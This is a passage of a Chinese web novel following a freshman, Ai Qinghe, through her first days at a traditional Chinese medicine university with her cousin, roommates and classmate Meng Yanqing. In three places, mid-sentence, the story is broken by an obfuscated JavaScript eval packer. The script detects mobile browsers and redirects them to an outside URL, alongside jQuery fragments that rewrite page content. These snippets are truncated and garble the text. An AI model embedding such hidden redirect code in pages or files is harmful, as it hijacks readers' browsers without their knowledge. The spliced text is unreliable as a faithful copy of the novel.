原来是这样,艾青禾恍然大悟,她完全没想到这上头,大概是因为对这个不是出自自己本心选择的专业没什么期待,她连学校信息都没想过要上网搜一下。 闻婧解释完又问她:“你在不在群里啊?不在的话我拉你进去。” 艾青禾赶紧把手机掏出来,和大家加上联系方式,被闻婧先后拉进班群和寝室群。 “搞定!以后我们就是11-307小分队了!” 艾青禾抿着唇笑,看着三位看起来还蛮好相处的室友,心里松了口气。 “诶,对了,我们什么时候军训啊?”杨梦津这时问道。 闻婧摇摇头:“我们学校是冬训,要等这个学期期末考结束之后。” “这么好!那岂不是不用热了!” “呃……师姐说也要做好防晒,不然可能会晒成阴阳脸。” 艾青禾认真听着大家说着自己不知道的信息,林明晖爬上去看了一下床板的情况,下来跟她说:“你在这儿等我,我下去给你买凉席和盆桶。” 她回过神,乖巧点头应好。 林明晖难得见她这么老实,大概是因为离开了熟悉的环境,她的活泼劲不由自主地收敛,不由觉得好笑,临走还揉揉她脑袋。 杨梦津看着很好奇,大方地问:“你男朋友吗?” 艾青禾一愣:“……啊?” 旋即反应过来,大惊失色:“不不不,那是我哥!他妈是我亲姨妈!” 好家伙,那么大乌龙,杨梦津连忙道歉。 闻婧和杜清谷不约而同忍不住笑出声,两个当事人对视着眨眨眼,也被感染得乐起来。 刚见面时的生疏瞬间便被小插曲冲淡。 4. 第四章 林明晖一手提桶一手抱盆回来时,艾青禾已经跟室友们相谈甚欢了,手里还拿着包小零食。 见他回来,立刻举起手:“吃!” “什么东西?兰花豆?”林明晖把东西放下,仰起头张大嘴等她喂,“我手脏。” 艾青禾踮起脚往他嘴里倒吃的,语气欢快:“梦津给的老醋蚕豆,家乡特产。” 喂完低头才看见他脚边的桶和盆,忍不住尖叫:“怎么都是大红色的?!” “红色多好看,我还特地给你挑厚的。”林明晖一边嚼嚼嚼,一边振振有词,“而且普通款式最划算,反正你最多用三四年,跳蚤市场也没有带图案的。” “……我要用五年!”艾青禾吐槽他,“审美真是灾难。” 林明晖买都买了,也不听她的抱怨,径自找了抹布爬上去替她擦床板。 艾青禾见状赶紧开始整理行李,从行李箱将衣服之类的东西都拿出来。 “一会儿吃完饭我们去买被子。”林明晖蹲在床上跟她说话。 “为什么不在学校超市买?”艾青禾有些懵。 林明晖从床上下来,站在步梯上,吐槽道:“当然是因为学校超市的贵啊,咱们要省着点花。” 顿了顿,掰着手指头数了数时间,这才继续:“下个周末我来接你,咱们去市里电脑城买电脑,没电脑可不行,电影综艺看不了,查资料写作业也做不了。” “我听你师姐说,你们专业虽然没什么画图建模之类的需求,但也经常要写小论文和做小组作业的,没电脑可不行。” 说完他一下就跳下地,回头夸她们学校宿舍这种步梯真的太方便了,比普通上下铺那种爬梯好多了。 艾青禾一愣:“……师姐?你有同学在我们学校啊?” “没有啊,刚认识的,就是刚才给我们带路那个。”林明晖眨眨眼,一脸得意,“来来来,我把她微信名片推给你。” 艾青禾:“……” 这才过了几分钟,这人就要到人家的联系方式了?这就是大学牲吗! “你干嘛加人家?”艾青禾警惕地问道。 林明晖眨眨眼,打个哈哈:“认识一下新朋友……” “说实话!不然我给大姨打电话了!”艾青禾站了起来,按按拳头……没有噼里啪啦的声音。 林明晖这才老实交代:“我说你有点不清楚的问题想咨询她。” 就知道会有自己的事! 艾青禾追着他出去要揍他,“你每次都这样!” 范月娥兄弟姐妹五个,自来关系密切,艾青禾跟林明晖前后脚出生,一起长大的情分比跟其他兄弟姐妹还要好点。 林明晖上初中就开始早恋,前后两任女友,初中一任,高中一任,都是他用“你的发卡/手表很漂亮,可以告诉我在哪儿买的吗,我想给我妹也买一个”搭讪来的。 而且他一向做戏做全套,真的会给她买来这个东西,强迫她使用,并且告诉他使用感受,他去转告对方。 过年的时候大舅妈问他在大学有没有谈恋爱,他说没有,开玩笑说年纪大了,不会那么轻易心动了。 结果呢!现在这样像吗? 兄妹俩打闹着回到307,逗得室友们乐不可支,但也很乐意当这个助攻,开始撺掇艾青禾加师姐的好友。 闻婧说:“问一下考四六级的事。” 艾青禾:“???” 要不要这么卷啊?救命!!! 最后还是加上了师姐的联系方式,从师姐那儿听说第二学期的英语课还要分班,按第一学期的期末考成绩分ABC班,只有A班的同学能在下学期考四级,其他同学要到大二才能考。 “怎么还要分班啊?”杨梦津很震惊,“大学不是六十分万岁吗?!” 艾青禾看到另外两位室友同时面露戚戚,突然开始意识到…… 完啦!不会是被高中老师们骗了吧?! 床板已经晾干,林明晖帮她铺好床,支好蚊帐,再和另外两位家长一起打扫干净宿舍卫生,时间就到了中午。 杜清谷的妈妈热情邀请大家一起吃顿饭,“报到点旁边那个商店的二楼三楼都有小饭店,我们去那儿吃,大家五湖四海的聚在一起就是缘分,去吃顿好的庆贺一下很应该。” 闻婧和艾青禾都一口答应了,只有杨梦津摇摇头,婉拒道:“嗯……我就不去了吧,我和我爸去食堂……呃、毕竟是难得来一次,去食堂看一下也比较放心……” 她说到最后声音低了下去,脸孔似乎有些发红。 她爸爸这时连忙道:“还是跟大家一起去,集体活动……” 没等他说完,杨梦津就立刻摇头,眉宇间浮起一丝不快和尴尬。 刚刚才变得热络融洽的气氛,似乎转眼就要僵住。 “是诶,我怎么没想到。”杜清谷这时开口,语气有些恍然大悟,又有些兴致勃勃,晃晃母亲的胳膊,“我们也去吃食堂吧,看看中医药大学的食堂跟普通学校的食堂有没有什么不同,等回去了要是爷爷奶奶问,你就跟他们讲讲。” 杜妈妈闻言立刻点头答应,笑道:“这样也好,哎呀我也是一时没想到,还得是你们年轻人有想法。” 又说:“一会儿我让小冯买点零食过来,你们平时学习累了填填肚子。” “让小冯姐姐给我买点麦片。”杜清谷笑眯眯地接过话,转眼看见艾青禾正看过来,便冲她眨眨眼。 艾青禾抿唇笑了一下,偷偷转着眼睛去看杨梦津,见她的神色恢复正常,这才松口气。 一行人去食堂,离她们宿舍最近的是第二食堂,就在充值校园卡的学生服务中心对面。 林明晖给她充了五百块,笑道:“你考上大学我这个当哥哥的也没给你发红包,给你买东西的经费还是我妈给的,现在就当是补上了。” 他拍拍艾青禾的肩膀:“要尽快适应新环境,要是想家了……想哭就哭,就剩半个多月了,国庆节可以回家。” 艾青禾微微一愣,旋即立刻低下头,抿着唇嗯了声。 “笑一下啊,酒窝都看不到咯。”林明晖戳戳她的脸,催她赶紧走,“我听说你们学校食堂有药膳汤,让我来品鉴品鉴,说好了,你请客。” 食堂人很多,随处可见新生和家长,甚至还有人穿着迷彩服。 艾青禾奇怪:“咦?不是说我们是冬训吗,那这些……” “隔壁学校是开学就军训,已经训了一周了。”闻婧解释道。 “……隔壁学校也能来我们食堂吃饭吗?” “这是大学城一卡通,也就是说大学城范围内,只要有刷卡机的地方,都能用。”林明晖将她的卡翻过去。 姓名学号院系这些信息的背面,是某某银行的名字和芯片,这其实就是一张银/行/卡。 艾青禾恍然大悟。 进门左边就是打饭窗口,很长一排,此时正到处是人,她仰头看向墙上贴着的菜单,米饭是四毛一两,青菜五毛一份,荤菜多数在三到五块之间,一顿饭一荤一素的话花不了多少钱。 “一楼是大众窗口,二楼是小炒,三楼还有麻辣烫之类,一食堂的三楼是小碗菜和清真食堂。”闻婧这时又向大家介绍。 但大家决定今天就在一楼吃,拿了餐盘便分开了,约好一会儿再找位置。 艾青禾兴致勃勃地跟着林明晖走,说:“我想吃蜜汁鸡。” 话音刚落,旁边那条队里一个男生便转过头看了她一眼。 艾青禾眨眨眼,咦,在报名点遇到的那位同班同学。 根据闻婧提供的信息,还很可能是她的同乡。 她犹豫片刻,到底还是没有出声跟对方打招呼,只抿着唇笑了一下。 她一笑,面颊上就出现两个深深的小漩涡,孟彦卿就知道自己没认错人了,也回她一个笑。 接着被排在前面的大师兄叫过去刷卡付钱。 刷完卡自己点了两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004260|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜,往旁边一站,等着后面的二师兄上来点菜。 这次开学是武馆的大师兄送他过来的,在省武术队的二师兄请假出来陪同,师兄弟三人难得聚首,凑在一起有说不完的话。 孟家是开武馆的,主要教授咏春拳,孟彦卿的伯祖父以前练拳,学的是叶问一脉的招式,学成后回到桂城,在他祖父的骨伤诊所的二楼开了武馆,后来因为伯父不善管理,就传给了孟彦卿的父亲孟春庭。 大师兄朱允南是孟彦卿母亲朱善英家那边的远亲,朱善英回家探亲时见到他,听说他家情况,又觉得他体格适合练武,有心拉他一把,问他要不要跟她去桂城。 别看计划生育管得严,村里多的是信奉多子多福的人,他家就生了七八个,儿子就有六个,他排老五,非长非幼,父母对他就是给口饭吃就行,听说朱善英愿意管他,能减轻家里负担,立刻就答应了。 于是刚读完小学的朱允南就这么离开家,成了孟春庭的大徒弟,比起故乡的亲生父母,将他从偏远农村带出来,给他饭吃给他衣穿,让他读书学本事的堂姑和堂姑父显然更像父母,也更值得他孝顺。 所以他对孟彦卿很好,吃饭时还一直交代二师弟陈韬:“阿彦在容城就交给你了,有事记得跟我和师父师娘讲。” “行,交给我。”陈韬点头答应,问道,“师娘的腰还疼不疼?我买了两台按摩仪,到时候你带回去。” 朱允南点点头,她又说:“帮我带点干货给我妈,她要送人。” 他的父母都是市里高中的老师,认识的人多,需要走动的关系也多,当年也是去朋友家走动的时候,听朋友的亲戚说起孟氏武馆,才想到将体弱的他送去锻炼身体。 后来见他身体有起色,又很爱待在武馆,干脆让他拜师,再后来考上体育学院,参加各项武术比赛,直到成长为教练,谁也看不出他以前体弱多病。 朱允南答应了一声,说起他家的事:“你家多了只狗仔,你爸的学生送的,博美的串串,长得还挺好看的。” “怎么养小狗,小狗吵死了。”陈韬啧了声,转头看向孟彦卿,“阿彦到时候可以参加一下你们学校的武术队。” 孟彦卿正一边听师兄们话家常,一边看向周围来往的同学和家长。 他看见那位有过两面之缘的同学,她和她家长、还有另外几个人坐在一起,占据了半张长桌,另外三个女生和她坐在一起,这种时候一起吃饭的大概率是室友。 也就是说那大概率也是他的同班同学…… 刚想到这里,就听到二师兄跟他说的话,忙回过神:“我们学校有武术队?” “有啊,水平还不错,去年的省高校武术大赛拿了团体亚军的,他们教练是太极拳的行家。”陈韬扒了一口饭,继续道,“虽然你以后肯定是去当老中医的了,但学过的东西要经常用,不然就忘了。” 朱允南撺掇他:“找机会教你们同学打咏春。” 孟彦卿嘴角一抽。 大师兄今年终于可以独立带班和收徒了,虽然合适的徒弟还没碰到,但他带学员带得很起劲,整个暑假,他每天都看着一群小萝卜头被大师兄练得嗷嗷叫。 “……知道了,我尽量,能进去再说,说不定我够不着门槛呢?” “不要说这种丧气话。” 师兄弟三人吃完饭,走出食堂门口时,孟彦卿又碰见那位同学,她正举着手机在找方向,她哥哥在一旁叉着腰很无语地看着她。 “……这不是让你往右走么?” “可是我一向右转,这个指示针又变了……” “……走!我跟在你后面!我真是服了,你这个左右不分的臭毛病怎么十几年都没有改善?你以后千万别当外科医生,真怕你给病人切错了!” “喂!你说话好伤人……” 明明是委屈,但听起来却让人忍不住想笑,孟彦卿立刻抿住嘴角。 虽然还没有正式认识,但笑话同学确实不太好。 5. 第五章 林明晖和艾青禾同寝室的另外两个同学的家长一起去参加了她们的新生家长会。 家长会时间不长,一个小时左右,散场的时候他在综合楼后面的校史博物馆门前找到艾青禾。 她正跟几位室友站在一起,一边喝水一边聊刚拿到的课本。 “我们也要上解剖课诶。” “啊?可是……我们中医上解剖课学什么,剖人、人吗?” “听师姐说确实有实验课,但不用我们解剖,是已经……好了的,我们去认识各种身体组织。” “……会不会很吓人?”说这话的是艾青禾,她本来就不想学医,一听还要上解剖课,当场觉得天都塌了。 要不我还是退学回去复读吧! “只是去看,不用害怕啦,后面还要解剖牛蛙和小鼠呢。” 她一噎,刚想说什么,就见林明晖他们过来了,立刻抿住唇闭上嘴。 “在说什么?”林明晖明知故问。 艾青禾不吭声,倒是杜清谷替她答了,“在说这学期要上的课,我们要上解剖课,是要去解剖楼上的,就是在篮球场那边。” 准确点来说是在篮球场对面的人文楼的后面。 刚才她们逛到那边,觉得非常幽静,楼下校道两旁的树木高大茂盛,树冠几乎连接到一起,加上楼体也遮挡了一部分光线,荫凉得让人觉得凉飕飕的。 “你们学医肯定要学解剖的。”林明晖笑嘻嘻地应道,拍拍艾青禾肩膀,“好好学习,以后家里杀鸡就靠你了!” 艾青禾:“……” 闻婧她们要带杜妈妈和杨爸爸逛一下校园,林明晖没什么兴趣,艾青禾便在这里和室友们分开,林明晖送她回宿舍。 一路上林明晖不停地提醒她要好好看路,记住回宿舍要往哪边走。 “大学城的学校就是这样,楼都统一的,有时候确实会认错,你就记住,从你们二食堂出来就是充饭卡交网费的地方,直走穿过架空层就是早上报到那里,那里边上有一棵木棉树,再穿过架空层,就到你们宿舍楼下了,记住了么?” 艾青禾连忙点头,一脸紧张和不安。 林明晖叹口气,拍拍她肩膀,安慰道:“没事的,别怕,多走几次就熟悉了。” 他这个表妹从小就被二姨管着哪儿也不让去,怕她跑出去发生什么意外,她和姨夫出去上班的时候就把她锁在家里。 桂城是个很小很小的城市,从东到西,骑自行车也只要四十分钟,而艾青禾都这么大了,她去过最远的地方就是隔壁市,而且也就去过几次。 她从来没有去看过大世界,所以才会在突然离开家来到大都市时变得束手束脚,紧张忐忑,一步路都不敢多走。 很多人都这样,但那又怎么样,林明晖想,他的妹妹是自己扛着行李来的,没有要家长送,已经很了不起了。 “既来之,则安之,学什么专业都没关系,实在不喜欢,毕业了我们就转行。”他站在307的门口,捏捏她的胳膊,笑眯眯道,“阿禾,要快点长大。” 艾青禾的眼睛一酸,差点就要掉下眼泪来。 她忙低下脖颈,使劲点点头。 林明晖要回学校去了,说周末再来接她去买电脑,又冲她使眼色:“放心吧,我以后会经常来看你的。” 很意有所指的样子。 艾青禾立马想到刚认识还不到一天的白师姐,立马什么惆怅和忐忑都被暂时放到了一边。 没好气地用力一推他:“你赶紧走!我也算是引狼入室了!” 林明晖笑嘻嘻地走了。 看着他的背影消失在楼梯门口,艾青禾赶紧趴到阳台栏杆上往下看,一直到看见他骑上自行车离开楼下,这才转身回寝室。 屋里只有她一个人,大家的东西还不算完全收拾好,行李箱都歪斜地放在各自桌前,鞋子也放得有些乱。 有风从屋外吹进来,将从床铺边沿落下的蚊帐一角吹了下来,在风里飘飘晃晃。 艾青禾站起身,将蚊帐角掖回床垫下面。 坐下的时候她突然有些幻听,好像听到了林明晖的声音:“哎,你们学校的宿舍比我们好多了,阳台都比我们的宽,还有一整面墙的镜子。” 她倏地抬头,急忙去找,却发现什么也没有。 宿舍里很安静,到处都是陌生的东西——林明晖离开后,她终于确认,自己到了一个完全陌生的环境。 心里一直被她努力忽略的不安和焦虑猛然往外一蹿,撞在她的眼睛里,她嘴巴一抿,眼泪就掉了出来。 外面突然传来说话声,有人从门前经过,她连忙憋住眼泪,眨眨眼,低下头去摆弄手里的东西。 右边抽屉下方是一个没有门的柜子,刚才回来的路上林明晖带她去了一趟第二商店二楼的超市,买了个小的鞋架,组装起来放进去,至少能放四五双鞋。 安装好鞋架,整理好鞋子,她又去安装床帘,深蓝色的床帘上有星星图案,将不靠墙的两边和蚊帐顶都遮挡起来,遮光性能很好,里面黑咕隆咚的。 艾青禾突然觉得安全,心里的慌乱好像少了一点。 她在床上坐了一会儿,躺下去,闻到新枕头陌生的味道,觉得又想哭了,连忙抓过一旁的阿狸公仔把脸埋进去,使劲吸着它的味道。 ——这是她从家里带来的。 过了一会儿,她觉得好多了,这才从床上下来,发现外面天色已经开始变暗。 宿舍楼后面的篮球场传来咚咚的拍球声。 该去吃饭了的,但她一点都不想动,开了灯,关上门,愣愣地坐在椅子上发呆,直到被手机铃声惊醒。 范月娥打电话来问她吃饭没有,她犹豫两秒,还是嗯了一声,接着听她问:“在学校习不习惯?” 艾青禾刚要回答,张了口却是呜哇一下哭出声来。 范月娥吓了一跳,连忙安慰她不要哭,说:“习惯就好了嘛,人长大了就是要离开家去外面看看的啊。” “可是我想回家。”她哭唧唧地应道。 门外,吃完饭回来的闻婧三人听到从门缝传出来的啜泣声,紧急收回要拧门把手的手,面面相觑片刻,不约而同地往后退了一步。 “漂亮,默契初现端倪。”杨梦津用气声嘀咕。 “青禾肯定是想家了。”杜清谷靠在栏杆上,低声道,“我也想我爸我妈我爷爷我奶奶了。” 说完顿了顿,她抽抽鼻子:“也想我家小狗。” 她话刚说完,杨梦津就见她和闻婧一起红了眼圈。 一时愣住:“不是……放假就能回家了啊……” “清谷家离得远要寒假才能回去,闻婧你家就在本地,有什么可哭的?”杨梦津大为不解。 很明显她是没有这种离愁别绪的,只有开启新生活的兴奋。 闻婧一噎,哼了声:“……我眼泪浅不行吗!” 行,怎么不行。 三人不好在这个时候进去打扰艾青禾,待在门口等了一会儿,收拾好情绪之后开始讨论到时候要参加哪个社团。 但是说了半天也没办法确定,因为都不太了解,正好班群里辅导员冒泡发了通知,明天早上要去参加开学典礼,下午是学院的开学第一课,于是又换了话题。 直到隔壁宿舍的同学拎着半个西瓜回来,看见她们站在门口,奇怪地问道:“怎么站在外面啊,没带钥匙吗?” “……没有啊,在外面吹吹风。”闻婧立刻摇摇头。 杨梦津岔开话题问:“你西瓜哪里买的?一商还是二商?” “二商的水果店。”同学回答道,“可以买一个,也可以买半个,还可以买四分之一,挺方便的。” 同学说着凑过来,问她们:“明天开学典礼在大会堂,大会堂在哪儿啊,你们知道吗?” “在东南门那边,靠着境外学院的地方。”杜清谷回答道,“没关系,明早在楼下集合,有助教带我们去的。” 艾青禾刚哭完,听到外面的动静,立刻便噎住。 范月娥听到她打嗝,忍不住叹气,只能翻来覆去地说什么不要哭了、过几天就能回来了、习惯就好之类的话。 她刻意不去想女儿的哭声里有多少是因为想家,又有多少是因为委屈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004261|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好在艾青禾早已接受现实,哭了一场觉得舒服多了,也就没事了,范月娥再说什么好好学习按时吃饭之类的,她就乖巧地答应着。 挂了电话也不好意思立刻去开门,等了一会儿,清清嗓子,觉得自己声音听起来正常了,这才起身去开门。 门外三人听见开门声,立马一副什么都不知道的样子,转过身,笑眯眯地招呼她:“青禾快来,我们商量一下洗衣机的事。” 艾青禾松口气,不管大家发没发现她哭过,这事反正是过去了。 她靠在门边,低声问道:“我们要买洗衣机吗?” 说完觉得嗓子有点哑,连忙吞咽了两下。 “是啊,有洗衣机方便点,而且阳台那里就预留了洗衣机的位置,那个水龙头就是装洗衣机用的。”闻婧解释道。 艾青禾恍然大悟,接着问:“要多少钱啊?” “全新的起码五六百吧。”闻婧应道,看一眼杨梦津,“但梦津觉得没必要,我们就在这边住两年,大三就搬了,老校区什么情况还不一定。” 才认识第一天,谁也说不好接下来会相处成什么样。 要是相处得不愉快,大三换校区的时候肯定要想办法换室友,到时候才用了两年的洗衣机怎么办? “但是……”艾青禾犹豫了一下,“容城的冬天也很冷,我桂城老家冬天就冷,会下雨,洗衣服很冻手的,我洗脸刷牙都要用热水。” 闻婧说是,杜清谷想了想问道:“我们有办法买到二手的吗?外面商业街有卖二手电器的吗?” 这就不清楚了,闻婧说得问问师兄师姐。 话音刚落,大家便一起看向了艾青禾。 艾青禾眨眨眼:“……我问问师姐?” “问问,问问。” 大家凑过来一起看她和师姐的对话。 白晓绪告诉艾青禾,离学校最近的商业街只有卖二手书的,没听说有卖二手家电的,平时大家买二手的东西,多数是从师兄师姐那里买。 除了毕业时,有的人要搬校区,东西懒得拿,也会低价甚至是免费出给师弟妹,但那都是暑假才有。 白晓绪:【你们想买二手洗衣机的话,我帮你们问问吧,看看有没有人出去实习要出物的,不过别抱太大希望,他们就算现在去实习,几个月后回来还能用得上呢[笑哭]】 艾青禾抬头左右看看,用眼神征求室友们的意见。 见大家都点头,她这才回复:【谢谢师姐,麻烦你帮我们留意一下[憨笑]】 但也不能只靠师姐,闻婧想了想:“我周末回去,去我家附近看看,有合适的就叫个车拉回来?” 大家又开始讨论心理价位,觉得二三百的能接受。反正最多用四年,大五还不知道怎么样呢。 时间就在对这件事的讨论中逐渐走到深夜。 明天就要正式开学了,大家洗漱完就陆续爬上床开始休息,艾青禾不知道其他人能不能睡着,反正她不太能。 她躺在床上,忽然想起小学和中学去德育学校军训的日子,也是这样,和同学们住在一起,隔着门窗能听到外面走廊的动静。 她模模糊糊的似乎听见起床的号角声,要起床升旗了吗? 猛一睁眼,才发现是不知道哪个的闹钟。 闻婧的声音穿过床帘和蚊帐传进来:“大家快起来刷牙洗脸,要去参加开学典礼啦!” 一通忙乱洗漱完,艾青禾和杨梦津站在门口的栏杆边等另外俩人,看到楼下已经聚了不少人。 “我们班有多少人啊?” “一百四。” “……这么多!”艾青禾惊呼,“我高中一个班才六十个人!” “大班是这样的啦。”杨梦津趴在栏杆上往下看,突然使劲挥了挥手。 艾青禾立刻问:“谁呀?” “我高中同学,她在隔壁班。”杨梦津边说边往楼下指。 艾青禾探头探脑:“……哪儿呢?” 人多,她又不认识人家,一时没找到人,但却看到了一张有些熟悉的脸孔。 是昨天见过两次的那个同学诶。 6. 第六章 “一班的同学在我面前集合,一班的同学!” “男左女右排成两列,抓紧时间!” 助教师姐手里举着红色的旗子,扯着嗓子把一群小鸡崽喊过来。 大家挤挤挨挨地站到一起,艾青禾被杨梦津和杜清谷夹在中间,互相搭着肩膀,像排火车一样。 她觉得很有趣,笑嘻嘻地左顾右盼,想看看还有谁跟她们一样。 头一转,就看见了熟人……算是熟人了吧?面熟也是熟嘛,她一面心里嘀咕,一面冲对方摇摇手打了个招呼。 她神情有些腼腆,嘴唇一抿,两个酒窝就凹下去。 孟彦卿刚要回应,搭着他肩膀的室友严自恒就被吸引了目光,立刻笑嘻嘻地嗨了一声:“同学你好,我叫严自恒,自由的自,恒心的恒,你叫什么名字?” 艾青禾的性格,是在不熟的人面前文静腼腆,在熟人面前话比口水多,别人多热情友善几分,她就有些能放开了。 闻言学着对方的样子自我介绍道:“我叫艾青禾,艾青的艾,青青禾苗的青禾。” 说完微微顿了一秒,眨巴一下眼睛,看向最面熟的那个,问道:“你是叫孟彦卿吗?” 孟彦卿一愣,有些惊讶地点点头:“……我们、认识?” 什么时候的事?他怎么记得昨天才是他们第一次见面,而且他们没有说话,应该是他单方面注意到她? “闻婧说班里有一个叫孟彦卿的男同学跟我一样是桂城来的,是我老乡。”艾青禾边说,边指指杜清谷前面的闻婧,“我昨天在报到点见到你,办手续的老师叫你孟同学,还说也是一班的,所以我猜的。” 说完拍拍杜清谷,“这是我室友杜清谷,美杜莎的杜,清溪山谷的清谷。” 又拇指一翘指向杨梦津,“这也是我室友,杨家将的杨,做梦去天津的梦津。” 杨梦津正准备跟人打招呼,闻言一噎,抗议道:“为什么我的介绍词这么奇怪?!” “……我怕大家以为是地名那个孟津嘛。”艾青禾有些不好意思地笑笑,挽住她胳膊。 大家都忍不住笑起来,严自恒笑道:“还别说,去过一次天津之后我也做梦再去一次,我爱吃那儿的巧克力。” 这时听见他们说话的闻婧也转过身来,冲还疑惑的孟彦卿点点头:“班群里面你们聊过。” 接着指指他后面两个男生,对艾青禾她们介绍:“赵凡,陈嘉渝,陈嘉渝也是本地的。” “你们是同宿舍吧?”这句话是问陈嘉渝的。 陈嘉渝推了一下鼻梁上的眼镜,点点头。 孟彦卿这时才恍然大悟,问艾青禾:“那你要去同乡会么?” 艾青禾一愣:“同乡会?什么来的?” “字面意思,就是都是桂城考过来的师兄师姐。”孟彦卿解释道,“师兄说国庆和寒暑假大家会包车回去,以免买不到票。” 还有这种好事?艾青禾眼睛一亮:“国庆会包车回去啊,哪天?国庆当天还是前一天晚上?” 还没正式开始上课,她就已经想着要回去。 孟彦卿从她亮晶晶的眼睛里好像看到了对家的依赖,愣了一下,摇摇头,说还不确定具体时间。 艾青禾哦了声,又问:“不在同乡会的能坐车吗?” 孟彦卿又摇摇头,说不太清楚,但想也知道,肯定是优先同乡会群里的人。 “要不……还是加一下群?”他斟酌着语气,“如果,我是说有可能,师兄师姐期末的时候发一些复习资料,或者四六级的备考资料,应该都能用得上?” 艾青禾一想也是,干脆咬咬牙,点点头。 然后看一眼孟彦卿,神情有些欲言又止。 孟彦卿秒懂,“我拉你进群吧。” “……谢谢。”她脸上有些发热,赶紧掏出手机,跟他加上了好友。 俩人刚加上好友,队伍就出发了。 大家像小时候去秋游似的,排着队一起向目的地走,一路上兴奋地交流着自己掌握的信息。 11栋是整个生活区的西南角,经过了新生报到的地方,也经过了第二商店和快递点。 “你们男生住在哪一栋啊?”杨梦津这时问道。 “六栋,喏,就是这栋。”严自恒往旁边一指,“我们住在六楼,那个蓝色的拖把看到吧,就是我们宿舍,613。” 四个女孩子一起仰头望上去:“……哇,你们住顶层啊?” “是啊,幸亏有电梯,不然扛完行李扛洗衣机,我真的要废了。”严自恒吐槽。 “洗衣机?”昨晚大家才刚讨论过的话题,杜清谷一下就被吸引,“你们这么快就买洗衣机啦,多大的,什么价位?我们打算买个二手的,新的太贵了。” “9公斤,价格……不知道,赵凡家里给买的。”陈嘉渝解释说,“本来打算等周末我回家,去我家附近的商场看看,说不定有活动,但……” 他耸了一下肩,走在他后面的赵凡就接着道:“今天才周四,等到周末,那岂不是我要手洗好几天衣服?我不会。” 说得理直气壮,脸上当然也没有一点惭愧。 艾青禾看一眼他身上的衣服和鞋子,名牌,再看他手上拿着的手机,最新款水果机,还有他的手表,不认识牌子,但看起来不便宜。 懂了,这是个富哥。 富哥继续道:“反正一个洗衣机也花不了多少钱,就当我请大家洗衣服了。” 其他人都面露无奈,表示就是这么个事,他们宿舍出了个霸总。 307众人:“……” 一行人排着队经过一食堂侧门,往前就到了校内天桥,校道两旁有三轮车小摊,卖水果和煎饼的都有,旁边还停着一辆某某快递的车子。 闻婧介绍说:“以后咱们拿快递,大多数是来这里拿。” “这么远?”艾青禾惊讶,“离我们宿舍也太远了吧?” “谁说不是呢,要是正好放学的时候接到信息还好,顺路拿了,要是不上课,或者回到宿舍才接到信息,那可真是……”闻婧啧了声,突然话题一转,“所以你们要买自行车吗?” 杜清谷和杨梦津都说要买,陈嘉渝还表示可以一起,组团买应该能便宜点。 “我们两个宿舍加起来就八辆,再找两个人就十辆了,应该好讲价。” “你说市里有没有哪里有卖二手的?”闻婧问陈嘉渝。 陈嘉渝说有些自行车店应该有,“我中午问问我爸,但问题是,那么多辆,怎么弄回来?” “找个搬家公司的小货车,多少都能拉回来了。” 闻婧话音刚落,就见正低头下天桥的艾青禾皱着眉,像是有话又说,又不太好意思。 于是她主动问:“青禾怎么打算?是跟我们一起买,还是自己买?” 她哥哥听说是科大的学生,兴许有自己的打算。 但艾青禾摇摇头,低声道:“我就不买了。” 顿了顿,她的声音更低了,“我不会……买了也没用。” 一同低下去的还有她的脖颈,她觉得十分羞愧。 都要二十岁的人了,居然连自行车都不会骑,说出去简直丢死人。 果然空气瞬间就变得安静下来。 集体沉默了几秒,杨梦津才率先打破沉默,有些干巴巴地道:“那、以后我带你?” 艾青禾连忙摇头,脸上一片火辣:“不用不用,走路也可以的,也没有很远……” “有车还是会方便一点。”杨梦津接着道,“要不学一下呗,很快的。” “可是……我以前学过,老是摔,我妈就不让我学了。”艾青禾犹豫,“真的不难吗?” 男生们不好说什么,毕竟刚认识,还不熟。 孟彦卿微微侧了一下头,看见她脸上抿出来的小漩涡,嘴角都快抿成一条直线了,看起来非常紧张。 刚想说点什么宽慰一下她,就听杜清谷道:“不难的,我们扶着你很快就会了的,你没学会就是因为害怕,害怕起来就把控不住车头,才会一直摔。” 好像是这么回事,当时学的时候,她总觉得车子晃晃悠悠的,老想往回看,看看妈妈有没有像她说的那样扶着车后座。 每次都是在看到后面没人时,听到妈妈催促她不要回头看,赶紧继续骑,然后没过两分钟,她就会摔下去。 多摔几次,膝盖就擦伤得厉害,范月娥后来就不催着她学了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004262|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正学校离得不算远,白天可以坐公交,晚上下晚自习艾闻喜会去接她。 “……那、那我试试。”她重重地点一下头,心想大不了再摔几次。 要是实在不行就再算了。 